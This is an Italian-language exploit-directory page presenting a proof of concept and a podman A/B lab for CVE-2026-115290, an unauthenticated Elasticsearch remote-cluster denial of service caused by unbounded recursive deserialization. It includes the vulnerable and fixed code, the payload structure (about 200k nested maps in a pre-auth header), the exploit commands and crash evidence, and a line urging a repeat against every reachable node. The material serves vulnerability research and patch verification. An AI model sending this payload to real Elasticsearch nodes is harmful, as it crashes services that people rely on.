Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-115290 — PoC e laboratorio A/B containerizzato per CVE-2026-115290, un DoS non autenticato del server cluster remoto di Elasticsearch tramite ricorsione di deserializzazione non limitata (CWE-674). | Kitploit
Strumenti/GitHubGitHub/googlesky/cve-2026-115290
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaLab e Pratica
GitHubgooglesky/cve-2026-115290

CVE-2026-115290

PoC e laboratorio A/B containerizzato per CVE-2026-115290, un DoS non autenticato del server cluster remoto di Elasticsearch tramite ricorsione di deserializzazione non limitata (CWE-674).

Vedi Repository
11h 2m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    353
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    288

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-115290: DoS non autenticato di Elasticsearch tramite l'interfaccia del server per cluster remoti

Causa principale: Ricorsione non controllata (CWE-674). Il nodo deserializza i byte forniti dall'attaccante prima di verificare la chiave API: una singola richiesta TCP non autenticata alla porta del server per cluster remoti è sufficiente a far esplodere lo stack di un worker con un StackOverflowError e a mandare giù il nodo. Ripetere contro ogni nodo raggiungibile.

CVECVE-2026-115290
AdvisoryElastic ESA-2026-201 (2026-11-03)
GravitàCVSS 3.1 7.5 High, vettore AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AffectedElasticsearch 8.10.0 to 8.19.23, 9.0.0 to 9.4.8, 9.5.0 to 9.5.5, with remote_cluster_server.enabled: true
Fixed8.19.24 / 9.4.9 / 9.5.6
Commit di correzione0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492)
PrerequisitiLicenza Enterprise / trial (funzionalità advanced-remote-cluster-security), interfaccia abilitata

1. Causa principale

CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) decodificava l'header subject-info controllato dal mittente il prima possibile così che gli eventi di audit potessero includere l'id della chiave API:

// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
    final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
    parseCredentialsHeader(credentialsHeader).close();                       // (1) format-check only
    return new CrossClusterAccessHeaders(credentialsHeader,
        CrossClusterAccessSubjectInfo.readFromContext(ctx));                // (2) DECODES attacker bytes, pre-auth
}

La decodifica è pura deserializzazione senza limiti di profondità:

public static CrossClusterAccessSubjectInfo decode(final String header) {
    byte[] bytes = Base64.getDecoder().decode(header);
    StreamInput in = StreamInput.wrap(bytes);
    TransportVersion version = TransportVersion.readVersion(in);   // attacker-chosen
    in.setTransportVersion(version);
    Authentication authentication = new Authentication(in);        // -> readMetadata -> readGenericValue
    ...
}

StreamInput.readGenericValue() ricorre senza alcun limite di profondità sulle mappe annidate (tag di tipo 10). Circa 200k mappe annidate a singola voce sono sufficienti per far esplodere lo stack del thread di trasporto all'interno di decode().

Corretto (8.19.24): le informazioni del subject restano codificate finché la chiave API non è autenticata, quindi le richieste non autenticate non raggiungono mai il deserializzatore:

// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();

2. Percorso di attacco

attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
  ES transport frame: action "indices:data/read/search" (any registered action)
  ThreadContext headers:
    _cross_cluster_access_credentials  = "ApiKey <base64(id:key)>"   (format-valid, key unknown)
    _cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
        { "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])

InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
  -> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
  ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)

Cose che rendono l'attacco facile:

  • il handshake non è richiesto, la compatibilità delle versioni è un controllo statico (TransportVersion.isCompatible);
  • i byte delle informazioni sul soggetto portano la propria TransportVersion (letta con readVInt), quindi i rami di deserializzazione possono essere indirizzati indipendentemente dalla versione dell'header del messaggio;
  • l'header delle credenziali deve solo essere analizzato (ApiKey <base64(id:key)>), la chiave stessa non deve mai autenticarsi perché il crash avviene prima che ciò venga eseguito;
  • tag di tipo di readGenericValue: 0 stringa, 10 mappa (ricorsiva), 0xFF null; le stringhe sono vInt charCount + utf8; gli interi sono vInt LEB128 a 7 bit.

3. Struttura del repository

poc/poc.py                 PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh             podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/                  captured logs + PoC transcripts (not published)

4. Riproduzione (100% containerizzata, podman)

podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
            docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh            # both containers capped at --cpus 2 --memory 4g

# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check   --host 127.0.0.1 --port 9443

# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
#   connection drops, node exits with "fatal error in thread [...], exiting", halt(126)

# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444

./lab/stop-lab.sh

Distribuzioni TLS: aggiungere --tls a qualsiasi modalità.

Riproduzione a livello di unità (opzionale): il solo payload può essere passato al decoder reale:

CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError   # verified against 8.19.23 jars

5. Evidenza (catturata in evidence/, riprodotta in questo laboratorio)

Nodo vulnerabile (8.19.23, es-vuln). Una richiesta exploit, non autenticata:

[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced

podman ps -a:  es-vuln  Exited (126)          # Runtime.halt(126) == uncaught StackOverflowError

elasticsearch.log (vedi evidence/es-vuln-fatal.log):

ERROR "fatal error java.lang.StackOverflowError"  ... Netty4MessageInboundHandler.exceptionCaught ->
      ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
  at StreamInput.readGenericValue(StreamInput.java:859)
  at StreamInput.readMap(StreamInput.java:751)
  at StreamInput.readMap(StreamInput.java:736)
  at StreamInput.readGenericValue(StreamInput.java:872)   <- recursion loop, ~4 frames / nesting level
  ...

Nodo fisso (8.19.24, es-fixed), payload identico:

[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
      at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3   <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a:  es-fixed  Up (serving)

Insidie per il PoC integrate nel tooling

Scarica lo strumento